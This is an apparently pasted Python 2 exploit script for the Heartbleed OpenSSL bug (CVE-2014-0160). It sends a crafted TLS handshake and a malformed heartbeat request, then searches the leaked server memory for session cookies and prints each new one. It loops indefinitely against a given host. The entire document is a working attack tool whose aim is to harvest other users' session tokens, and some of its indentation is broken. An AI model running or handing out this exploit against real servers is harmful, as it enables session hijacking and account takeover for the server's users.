document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/python
  2.  
  3. # Modified by Samiux (on April 10, 2014) which is based on the code of Michael Davis.
  4.  
  5. # Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
  6. # Michael Davis (mike.philip.davis@gmail.com)
  7.  
  8. # Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  9.  
  10. # The author disclaims copyright to this source code.
  11.  
  12. import select
  13. import sys
  14. import string
  15. import struct
  16. import socket
  17. import time
  18. from optparse import OptionParser
  19.  
  20. options = OptionParser(usage=\'%prog server [options]\', description=\'Test for SSL heartbeat vulnerability (CVE-2014-0160)\')
  21. options.add_option(\'-p\', \'--port\', type=\'int\', default=443, help=\'TCP port to test (default: 443)\')
  22. options.add_option(\'-c\', \'--cookie\', type=\'str\', default=\'session\', help=\'Cookie to look for (default: session)\')
  23. options.add_option(\'-l\', \'--length\', type=\'int\', default=1024, help=\'Length of the cookie (default: 1024)\')
  24.  
  25. def h2bin(x):
  26.     return x.replace(\' \', \'\').replace(\'\\n\', \'\').decode(\'hex\')
  27.  
  28. hello = h2bin(\'\'\'
  29. 16 03 02 00  dc 01 00 00 d8 03 02 53
  30. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  31. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  32. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  33. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  34. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  35. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  36. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  37. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  38. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  39. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  40. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  41. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  42. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  43. 00 0f 00 01 01
  44. \'\'\')
  45.  
  46. hb = h2bin(\'\'\'
  47. 18 03 02 00 03
  48. 01 40 00
  49. \'\'\')
  50.  
  51.  
  52. class HeartBleeder(object):
  53.  
  54.     server_response = None
  55.     socket = None
  56.     found_sessions = set()
  57.     hostname = \'\'
  58.     port = 0
  59.     cookie = \'\'
  60.     cookie_length = 0
  61.  
  62.     def __init__(self, hostname=\'\', port=0, cookie=\'\', cookie_length=0):
  63.         self.hostname = hostname
  64.         self.cookie = cookie
  65.     self.port = port
  66.     self.cookie_length = cookie_length
  67.  
  68.     def connect(self):
  69.         """
  70.        Connects to the remote server.
  71.        """
  72.         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  73.         sys.stdout.flush()
  74.         self.socket.connect((self.hostname, self.port))
  75.         sys.stdout.flush()
  76.         self.socket.send(hello)
  77.         sys.stdout.flush()
  78.  
  79.     def rcv_response(self):
  80.         while True:
  81.             _type, version, payload = self.rcv_message()
  82.             if _type is None:
  83.                 print \'Server closed connection without sending Server Hello.\'
  84.                 return
  85.             # Look for server hello done message.
  86.             if _type == 22 and ord(payload[0]) == 0x0E:
  87.                 break
  88.  
  89.     def rcv_message(self):
  90.  
  91.         record_header = self.rcv_all(5)
  92.         if record_header is None:
  93.             print \'Unexpected EOF receiving record header - server closed connection\'
  94.             return None, None, None
  95.         _type, version, line = struct.unpack(\'>BHH\', record_header)
  96.         payload = self.rcv_all(line, 10)
  97.         if payload is None:
  98.             print \'Unexpected EOF receiving record payload - server closed connection\'
  99.             return None, None, None
  100.         return _type, version, payload
  101.  
  102.     def rcv_all(self, length, timeout=5):
  103.         endtime = time.time() + timeout
  104.         rdata = \'\'
  105.         remain = length
  106.         while remain > 0:
  107.             rtime = endtime - time.time()
  108.             if rtime < 0:
  109.                 return None
  110.             r, w, e = select.select([self.socket], [], [], 5)
  111.             if self.socket in r:
  112.                 data = self.socket.recv(remain)
  113.                 # EOF?
  114.                 if not data:
  115.                     return None
  116.                 rdata += data
  117.                 remain -= len(data)
  118.         return rdata
  119.  
  120.     def try_heartbeat(self):
  121.         self.socket.send(hb)
  122.         while True:
  123.             _type, version, self.payload = self.rcv_message()
  124.             if _type is None:
  125.                 print \'No heartbeat response received, server likely not vulnerable\'
  126.                 return False
  127.  
  128.             if _type == 24:
  129.                 # print \'Received heartbeat response:\'
  130.                 self.parse_response()
  131.                 if len(self.payload) > 3:
  132.                     pass
  133.                 else:
  134.                     print \'Server processed malformed heartbeat, but did not return any extra data.\'
  135.                 return True
  136.  
  137.             if _type == 21:
  138.                 print \'Received alert:\'
  139.                 self.hexdump(self.payload)
  140.                 print \'Server returned error, likely not vulnerable\'
  141.                 return False
  142.  
  143.     def parse_response(self):
  144.         """
  145.        Parses the response from the server for a session id.
  146.        """
  147.         ascii = \'\'.join((c if 32 <= ord(c) <= 126 else \' \')for c in self.payload)
  148.         index = string.find(ascii, self.cookie)
  149.         if index >= 0:
  150.             info = ascii[index:index + self.cookie_length]
  151.             session = info.split(\' \')[0]
  152.             session = string.replace(session, \';\', \'\')
  153.             if session not in self.found_sessions:
  154.                 self.found_sessions.add(session)
  155.                 print session
  156.  
  157.     def hexdump(self, payload):
  158.         """
  159.        Prints out a hexdump in the event that server returns an error.
  160.        """
  161.         for b in xrange(0, len(payload), 16):
  162.             line = [c for c in payload[b:b + 16]]
  163.             hxdat = \' \'.join(\'%02X\' % ord(c) for c in line)
  164.             pdat = \'\'.join((c if 32 <= ord(c) <= 126 else \'.\')for c in line)
  165.             print \'  %04x: %-48s %s\' % (b, hxdat, pdat)
  166.         print
  167.  
  168.     def scan(self):
  169.         self.connect()
  170.         self.rcv_response()
  171.         self.try_heartbeat()
  172.  
  173.  
  174. def main():
  175.     opts, args = options.parse_args()
  176.     if len(args) < 1:
  177.         options.print_help()
  178.         return
  179.  
  180.     print \'Port   :\', opts.port
  181.     print \'Cookie :\', opts.cookie
  182.     print \'Length :\', opts.length
  183.     print \'\'
  184.  
  185.     while True:
  186.         heartbeat = HeartBleeder(hostname=args[0], port=opts.port, cookie=opts.cookie, cookie_length=opts.length)
  187.         heartbeat.scan()
  188.  
  189.  
  190. if __name__ == \'__main__\':
  191.     main()
');